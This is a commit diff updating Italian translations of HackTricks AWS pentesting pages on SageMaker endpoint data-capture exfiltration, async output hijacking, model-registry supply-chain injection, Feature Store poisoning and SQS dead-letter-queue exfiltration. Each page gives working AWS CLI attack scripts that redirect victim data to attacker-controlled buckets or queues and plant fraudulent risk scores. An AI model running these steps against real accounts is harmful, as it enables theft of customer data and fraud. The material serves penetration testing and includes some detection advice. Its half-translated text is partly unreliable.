Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers

2026-01-05 01:07:11 -08:00 · 2025-10-23 13:44:19 +00:00
parent 56b52e3ce2
commit de61ce344f
5 changed files with 449 additions and 164 deletions
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -2,18 +2,18 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-## Sifonamento dei dati di un endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig
+## Esfiltrazione dei dati dell'endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig

-Abusa della gestione degli endpoint SageMaker per abilitare la cattura completa di richieste/risposte in un bucket S3 controllato dall'attaccante senza toccare il modello o il container. Usa un rolling update a downtime zero/basso e richiede solo i permessi di gestione dell'endpoint.
+Abusare della gestione degli endpoint SageMaker per abilitare la cattura completa di request/response in un S3 bucket controllato dall'attaccante senza toccare il modello o il container. Usa un rolling update a downtime zero/basso e richiede solo permessi di gestione dell'endpoint.

 ### Requisiti
 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (o usa un bucket esistente nello stesso account)
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
- Target: An existing InService real‑time endpoint in the same account/region
+- S3: `s3:CreateBucket` (o usare un bucket esistente nello stesso account)
+- Opzionale (se si usa SSE‑KMS): `kms:Encrypt` sulla CMK scelta
+- Target: Un endpoint InService real‑time esistente nello stesso account/regione

 ### Passaggi
-1) Identificare un endpoint InService e raccogliere le attuali varianti di produzione
+1) Identificare un endpoint InService e raccogliere le varianti di produzione correnti
 ```bash
 REGION=${REGION:-us-east-1}
 EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
 echo "EndpointConfig=$CFG"
 aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
 ```
-2) Prepara attacker S3 destination per captures
+2) Preparare la destinazione S3 dell'attacker per captures
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-capture-$ACC-$(date +%s)
 aws s3 mb s3://$BUCKET --region $REGION
 ```
-3) Crea un nuovo EndpointConfig che mantiene gli stessi variants ma abilita DataCapture verso l'attacker bucket
+3) Crea una nuova EndpointConfig che mantiene le stesse varianti ma abilita DataCapture nell'attacker bucket

-Nota: Usa tipi di contenuto espliciti che soddisfino la validazione della CLI.
+Nota: usa content types espliciti che soddisfino la validazione della CLI.
 ```bash
 NEWCFG=${CFG}-dc
 cat > /tmp/dc.json << JSON
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
 --production-variants file:///tmp/pv.json \
 --data-capture-config file:///tmp/dc.json
 ```
-4) Applica la nuova config con un rolling update (minimo/nessun downtime)
+4) Applica la nuova configurazione con un rolling update (downtime minimo/assente)
 ```bash
 aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
 aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
 ```
-5) Genera almeno una chiamata di inferenza (opzionale se esiste traffico live)
+5) Genera almeno una chiamata di inferenza (opzionale se è presente traffico in tempo reale)
 ```bash
 echo '{"inputs":[1,2,3]}' > /tmp/payload.json
 aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
 --content-type application/json --accept application/json \
 --body fileb:///tmp/payload.json /tmp/out.bin || true
 ```
-6) Validare captures in attacker S3
+6) Verificare i capture nel bucket S3 dell'attaccante
 ```bash
 aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
 ```
-### Impatto
- Esfiltrazione completa dei payloads delle richieste e delle risposte di real‑time inference (e dei metadata) dall'endpoint target verso un bucket S3 controllato dall'attaccante.
- Nessuna modifica all'immagine del model/container e solo modifiche a livello di endpoint, permettendo un percorso di furto dati furtivo con minima interruzione operativa.
+### Impact
+- Esfiltrazione completa dei payload delle richieste e delle risposte di inferenza in tempo reale (e dei metadati) dall'endpoint mirato a un bucket S3 controllato dall'attaccante.
+- Nessuna modifica all'immagine del modello/container e solo cambiamenti a livello di endpoint, consentendo un percorso di furto dati furtivo con minima interruzione operativa.


 ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

-Abusa della gestione dell'endpoint per reindirizzare gli output delle asynchronous inference verso un bucket S3 controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo esfiltra le model predictions (e qualsiasi input trasformato incluso dal container) senza modificare il model/container.
+Abusare della gestione dell'endpoint per reindirizzare gli output di inference asincrona a un bucket S3 controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo esfiltra le predizioni del modello (e qualsiasi input trasformato incluso dal container) senza modificare il modello/container.

-### Requisiti
+### Requirements
 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Capacità di scrivere nel bucket S3 controllato dall'attaccante (tramite il model execution role o una permissive bucket policy)
- Target: un endpoint InService dove le asynchronous invocations sono (o saranno) usate
+- S3: Capacità di scrivere nel bucket S3 controllato dall'attaccante (tramite il ruolo di esecuzione del modello o una policy del bucket permissiva)
+- Target: un endpoint InService in cui le invocazioni asincrone sono (o saranno) utilizzate

-### Passaggi
-1) Raccogli i ProductionVariants correnti dall'endpoint target
+### Steps
+1) Raccogliere gli attuali ProductionVariants dall'endpoint di destinazione
 ```bash
 REGION=${REGION:-us-east-1}
 EP=<target-endpoint-name>
 CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
 aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
 ```
-2) Crea un attacker bucket (assicurati che il ruolo di esecuzione del modello possa effettuare PutObject su di esso)
+2) Crea un attacker bucket (assicurati che il model execution role possa PutObject su di esso)
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
 aws s3 mb s3://$BUCKET --region $REGION || true
 ```
-3) Clonare EndpointConfig e hijackare gli output di AsyncInference nel attacker bucket
+3) Clona EndpointConfig e hijack AsyncInference outputs nell'attacker bucket
 ```bash
 NEWCFG=${CUR_CFG}-async-exfil
 cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "
 aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
 aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
 ```
-4) Avviare un async invocation e verificare che gli oggetti finiscano in attacker S3
+4) Trigger an async invocation e verifica che gli oggetti finiscano in attacker S3
 ```bash
 aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
 aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
 aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
 ```
 ### Impatto
- Reindirizza i risultati di inference asincrona (e i corpi degli errori) a S3 controllato dall'attaccante, permettendo l'esfiltrazione covert di predizioni e potenzialmente di input sensibili pre/post-elaborati prodotti dal container, senza modificare il codice o l'immagine del modello e con downtime minimo/nullo.
+- Reindirizza i risultati di inference asincrona (e i corpi di errore) su S3 controllato dall'attaccante, permettendo l'esfiltrazione nascosta delle predizioni e, potenzialmente, degli input sensibili pre/post-elaborati prodotti dal container, senza modificare il codice del modello o l'immagine e con downtime minimo/assente.


 ## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

-Se un attaccante può eseguire CreateModelPackage su un target SageMaker Model Package Group, può registrare una nuova versione del modello che punta a un'immagine del container controllata dall'attaccante e marcarla immediatamente come Approved. Molte pipeline CI/CD distribuiscono automaticamente le versioni Approved a endpoints o training jobs, causando l'esecuzione di codice dell'attaccante con i ruoli di esecuzione del servizio. L'esposizione cross-account può essere amplificata da una policy permissiva sulla risorsa ModelPackageGroup.
+Se un attaccante può eseguire CreateModelPackage su un target SageMaker Model Package Group, può registrare una nuova versione del modello che punta a un'immagine container controllata dall'attaccante e contrassegnarla immediatamente come Approved. Molte pipeline CI/CD distribuiscono automaticamente le versioni di modello Approved su endpoint o job di training, causando l'esecuzione di codice dell'attaccante con i ruoli di esecuzione del servizio. L'esposizione cross-account può essere amplificata da una resource policy permissiva sul ModelPackageGroup.

-### Requisiti
- IAM (minimo per avvelenare un gruppo esistente): `sagemaker:CreateModelPackage` sul ModelPackageGroup target
- Facoltativo (per creare un gruppo se non esiste): `sagemaker:CreateModelPackageGroup`
- S3: accesso in lettura a ModelDataUrl referenziato (o ospitare artefatti controllati dall'attaccante)
- Target: un Model Package Group che le automazioni a valle monitorano per versioni Approved
+### Requirements
+- IAM (minimo per avvelenare un gruppo esistente): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
+- Optional (per creare un gruppo se non esiste): `sagemaker:CreateModelPackageGroup`
+- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
+- Target: A Model Package Group that downstream automation watches for Approved versions

-### Passaggi
-1) Imposta la regione e crea/individua un Model Package Group target
+### Steps
+1) Set region and create/find a target Model Package Group
 ```bash
 REGION=${REGION:-us-east-1}
 MPG=victim-group-$(date +%s)
 aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
 ```
-2) Prepara dati fittizi del modello in S3
+2) Preparare dati di modello fittizi in S3
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
 head -c 1024 </dev/urandom > /tmp/model.tar.gz
 aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
 ```
-3) Registrare una Approved model package version maliziosa (qui benigna) che faccia riferimento a un'immagine pubblica AWS DLC
+3) Registrare una versione Approved model package malevola (qui innocua) che faccia riferimento a un'immagine pubblica AWS DLC
 ```bash
 IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
 cat > /tmp/inf.json << JSON
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
 JSON
 aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
 ```
-4) Verificare che la nuova versione Approved esista
+4) Verifica che la nuova versione approvata esista
 ```bash
 aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
 ```
 ### Impatto
- Avvelena il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le Pipelines che effettuano l'auto-deploy di modelli Approved possono scaricare ed eseguire l'immagine dell'attaccante, ottenendo l'esecuzione di codice con i ruoli endpoint/training.
- Con una policy permissiva sulla risorsa ModelPackageGroup (PutModelPackageGroupPolicy), questo abuso può essere innescato cross-account.
+- Avvelenare il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le pipeline che auto-deploy le Approved models potrebbero pullare ed eseguire l'immagine dell'attaccante, causando esecuzione di codice con i ruoli di endpoint/training.
+- Con una permissiva ModelPackageGroup resource policy (PutModelPackageGroupPolicy), questo abuso può essere innescato cross-account.

-## Avvelenamento del Feature Store
+## Avvelenamento del Feature store

-Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'inferenza online. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso ai modelli o agli endpoint.
+Abusare di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumate dall'online inference. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.

 {{#ref}}
 feature-store-poisoning.md
 {{/ref}}
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -1,17 +1,19 @@
 # SageMaker Feature Store online store poisoning

-Abusare di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature in uso consumati dall'inferenza in tempo reale. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili ed esfiltrare dati ML riservati. Non richiede accesso a modelli o endpoint, rendendolo un attacco diretto a livello di dati.
+{{#include ../../../../banners/hacktricks-training.md}}

-## Requisiti
+Sfruttare `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere valori di feature live consumati dall'inferenza in tempo reale. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Ciò non richiede l'accesso a modelli o endpoint.
+
+## Requirements
 - Permessi: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Bersaglio: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inferenza in tempo reale)
- Complessità: **LOW** - Semplici comandi AWS CLI, nessuna manipolazione del modello richiesta
+- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inferenza in tempo reale)
+- Complessità: **LOW** - Comandi AWS CLI semplici, non è richiesta la manipolazione dei modelli

-## Passaggi
+## Steps

-### Ricognizione
+### Reconnaissance

-1) Elencare i Feature Groups con OnlineStore abilitato
+1) Elencare le Feature Groups con OnlineStore abilitato
 ```bash
 REGION=${REGION:-us-east-1}
 aws sagemaker list-feature-groups \
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
 --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
 --output table
 ```
-2) Descrivere un Feature Group target per comprendere il suo schema
+2) Descrivere un Feature Group di destinazione per comprenderne lo schema
 ```bash
 FG=<feature-group-name>
 aws sagemaker describe-feature-group \
 --region $REGION \
 --feature-group-name "$FG"
 ```
-Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName`, e tutte le definizioni delle feature. Questi sono necessari per creare record validi.
+Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName` e tutte le definizioni delle feature. Sono necessari per creare record validi.

-### Scenario di attacco 1: Data Poisoning (Overwrite Existing Records)
+### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)

 1) Leggi il record legittimo corrente
 ```bash
@@ -54,16 +56,16 @@ aws sagemaker-featurestore-runtime put-record \
 ]" \
 --target-stores OnlineStore
 ```
-3) Verificare i poisoned data
+3) Verificare i dati avvelenati
 ```bash
 aws sagemaker-featurestore-runtime get-record \
 --region $REGION \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-001
 ```
-**Impatto**: I modelli ML che consumano questa feature vedranno ora `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le sue transazioni o servizi.
+**Impatto**: I modelli ML che utilizzano questa feature ora vedranno `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le sue transazioni o servizi.

-### Scenario di attacco 2: Iniezione di dati malevoli (Create Fraudulent Records)
+### Scenario di attacco 2: Iniezione di dati malevoli (Creare record fraudolenti)

 Iniettare record completamente nuovi con feature manipolate per eludere i controlli di sicurezza:
 ```bash
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
 ]" \
 --target-stores OnlineStore
 ```
-Verifica la injection:
+Verifica l'iniezione:
 ```bash
 aws sagemaker-featurestore-runtime get-record \
 --region $REGION \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-999
 ```
-**Impatto**: L'attaccante crea un'identità falsa con un punteggio di rischio basso (0.01) che può eseguire transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi.
+**Impatto**: L'attaccante crea un'identità fittizia con un punteggio di rischio basso (0.01) che può effettuare transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi.

-### Scenario d'attacco 3: Esfiltrazione di dati sensibili
+### Scenario di attacco 3: Sensitive Data Exfiltration

-Leggere più record per estrarre feature confidenziali e profilare il comportamento del modello:
+Leggere più record per estrarre caratteristiche confidenziali e profilare il comportamento del modello:
 ```bash
 # Exfiltrate data for known users
 for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
 --record-identifier-value-as-string ${USER_ID}
 done
 ```
-**Impatto**: Feature confidenziali (punteggi di rischio, modelli di transazione, dati personali) esposte a un attaccante.
+**Impatto**: caratteristiche confidenziali (punteggi di rischio, modelli di transazione, dati personali) esposte all'attaccante.

-### Creazione di un Feature Group di test/demo (Opzionale)
+### Creazione di Feature Group per test/demo (Opzionale)

-Se hai bisogno di creare un Feature Group di test:
+Se devi creare un Feature Group di test:
 ```bash
 REGION=${REGION:-us-east-1}
 FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -141,20 +143,6 @@ fi

 echo "Feature Group ready: $FG"
 ```
-## Rilevamento
-
-Monitora CloudTrail per pattern sospetti:
- eventi `PutRecord` provenienti da principal IAM o indirizzi IP insoliti
- chiamate `PutRecord` o `GetRecord` ad alta frequenza
- `PutRecord` con valori di feature anomali (es., `risk_score` fuori dall'intervallo normale)
- operazioni `GetRecord` in blocco che indicano una massiccia esfiltrazione
- accessi al di fuori dell'orario lavorativo normale o da posizioni inaspettate
-
-Implementare il rilevamento delle anomalie:
- validazione dei valori delle feature (es., `risk_score` deve essere 0.0-1.0)
- analisi dei pattern di scrittura (frequenza, tempistica, identità della sorgente)
- rilevamento della deriva dei dati (cambiamenti improvvisi nelle distribuzioni delle feature)
-
 ## Riferimenti
 - [Documentazione AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Migliori pratiche di sicurezza per Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
+- [Best practice di sicurezza per Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -1,53 +1,55 @@
-# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+# AWS – SQS DLQ Esfiltrazione Redrive tramite StartMessageMoveTask

-## Description
+{{#include ../../../banners/hacktricks-training.md}}

-Abusa dei message move task di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) della vittima reindirizzandoli verso una queue controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recovery dei messaggi di AWS per esfiltrare dati sensibili accumulati nelle DLQ nel tempo.
+## Descrizione

-## What is a Dead-Letter Queue (DLQ)?
+Abusa dei task di spostamento dei messaggi SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli verso una queue controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recovery dei messaggi di AWS per esfiltrare dati sensibili che si sono accumulati nelle DLQ nel tempo.

-Una Dead-Letter Queue è una queue SQS speciale dove i messaggi vengono automaticamente inviati quando non riescono a essere processati con successo dall'applicazione principale. Questi messaggi falliti spesso contengono:
+## Cos'è una Dead-Letter Queue (DLQ)?
+
+Una Dead-Letter Queue è una queue SQS speciale dove i messaggi vengono inviati automaticamente quando non riescono a essere processati con successo dall'applicazione principale. Questi messaggi falliti spesso contengono:
 - Dati sensibili dell'applicazione che non sono stati processati
 - Dettagli di errore e informazioni di debugging
- Personal Identifiable Information (PII)
- API token, credenziali o altri secret
+- Informazioni di identificazione personale (PII)
+- Token API, credenziali o altri segreti
 - Dati di transazioni critiche per il business

-Le DLQ agiscono come un "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
+Le DLQ fungono da "cimitero" per i messaggi falliti, rendendole obiettivi di valore poiché accumulano dati sensibili nel tempo che le applicazioni non sono state in grado di gestire correttamente.

-## Attack Scenario
+## Scenario d'attacco

-**Real-world example:**
-1. **E-commerce application** processa gli ordini dei clienti tramite SQS
-2. **Alcuni ordini falliscono** (problemi di pagamento, inventario, ecc.) e vengono spostati in una DLQ
-3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
+**Esempio reale:**
+1. **Un'applicazione e-commerce** processa ordini dei clienti tramite SQS
+2. **Alcuni ordini falliscono** (problemi di pagamento, scorte, ecc.) e vengono spostati in una DLQ
+3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
 4. **L'attaccante ottiene accesso** a credenziali AWS con permessi SQS
 5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
-6. **Invece di cercare di accedere ai singoli messaggi** (lento e ovvio), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi verso la propria queue
+6. **Invece di cercare di accedere ai singoli messaggi** (lento e evidente), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi nella propria queue
 7. **L'attaccante estrae** tutti i dati storici sensibili in un'unica operazione

-## Requirements
- La source queue deve essere configurata come DLQ (referenziata da almeno una RedrivePolicy di qualche queue).
- IAM permissions (run as the compromised victim principal):
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+## Requisiti
+- La source queue deve essere configurata come DLQ (referenziata da almeno una queue RedrivePolicy).
+- Permessi IAM (eseguito come il principal vittima compromesso):
+- Sulla DLQ (sorgente): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Sulla destination queue: permesso di consegnare messaggi (es. policy della queue che permette `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente consentito di default.
+- Se SSE-KMS è abilitato: sulla CMK della sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`.

-## Impact
-Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload applicativi) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della destination queue permette `SendMessage` dal victim principal.
+## Impatto
+Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload dell'applicazione) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della queue di destinazione permette `SendMessage` dal principal vittima.

-## How to Abuse
+## Come abusare

 - Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene).
 - Creare o scegliere una destination queue controllata dall'attaccante e ottenere il suo ARN.
 - Avviare un message move task dalla DLQ vittima alla tua destination queue.
- Monitorare il progresso o cancellare il task se necessario.
+- Monitorare il progresso o cancellare se necessario.

-### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+### CLI Example: Esfiltrazione di dati clienti dal DLQ di e-commerce

-**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di processing degli ordini dei clienti.
+**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di processare ordini dei clienti.

-1) **Discover and examine the victim DLQ**
+1) **Scoprire ed esaminare la DLQ della vittima**
 ```bash
 # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
 aws sqs list-queues --queue-name-prefix dlq
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at

 echo "Created exfiltration queue: $ATTACKER_Q_ARN"
 ```
-3) **Esegui il furto di massa dei messaggi**
+3) **Esegui il bulk message theft**
 ```bash
 # Start moving ALL messages from victim DLQ to our queue
 # This operation will transfer thousands of failed orders containing customer data
@@ -113,18 +115,18 @@ echo "Received batch of stolen data..."
 echo "$MESSAGES" >> stolen_customer_data.json
 done
 ```
-### Note cross-account
- La coda di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se utilizzati, KMS grants/permissions).
+### Note tra account
+- La queue di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se usato, concessioni/permessi KMS).

 ## Perché questo attacco è efficace

-1. **Funzionalità AWS legittima**: Usa funzionalità AWS integrate, rendendo difficile identificarlo come attività malevola
-2. **Operazione massiva**: Trasferisce migliaia di messaggi rapidamente invece di un accesso individuale lento
+1. **Funzionalità AWS legittima**: Sfrutta funzionalità AWS integrate, rendendo difficile rilevarlo come attività malevole
+2. **Operazione massiva**: Trasferisce migliaia di messaggi rapidamente invece di accessi individuali lenti
 3. **Dati storici**: Le DLQ accumulano dati sensibili nel corso di settimane/mesi
-4. **Sotto il radar**: Molte organizzazioni non monitorano da vicino l'accesso alle DLQ
-5. **Capacità cross-account**: Può exfiltrate verso l'account AWS dell'attaccante se i permessi lo consentono
+4. **Sotto il radar**: Molte organizzazioni non monitorano attentamente l'accesso alle DLQ
+5. **Capacità cross-account**: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo consentono

-## Rilevamento e Prevenzione
+## Rilevamento e prevenzione

 ### Rilevamento
 Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette:
@@ -143,8 +145,10 @@ Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette:
 }
 ```
 ### Prevenzione
-1. **Least Privilege**: Restringere i permessi `sqs:StartMessageMoveTask` ai soli ruoli necessari
-2. **Monitor DLQs**: Configurare allarmi CloudWatch per attività insolite delle DLQs
-3. **Cross-Account Policies**: Rivedere attentamente le policy delle code SQS che consentono accesso cross-account
-4. **Encrypt DLQs**: Usare SSE-KMS con policy delle chiavi ristrette
-5. **Regular Cleanup**: Non lasciare che i dati sensibili si accumulino nelle DLQs indefinitamente
+1. **Principio del minimo privilegio**: Restrict `sqs:StartMessageMoveTask` permissions to only necessary roles
+2. **Monitorare le DLQs**: Imposta allarmi CloudWatch per attività DLQ anomale
+3. **Politiche cross-account**: Rivedi attentamente le policy delle code SQS che consentono accesso cross-account
+4. **Cripta le DLQs**: Usa SSE-KMS con policy di chiavi ristrette
+5. **Pulizia regolare**: Non lasciare che dati sensibili si accumulino nelle DLQs indefinitamente
+
+{{#include ../../../banners/hacktricks-training.md}}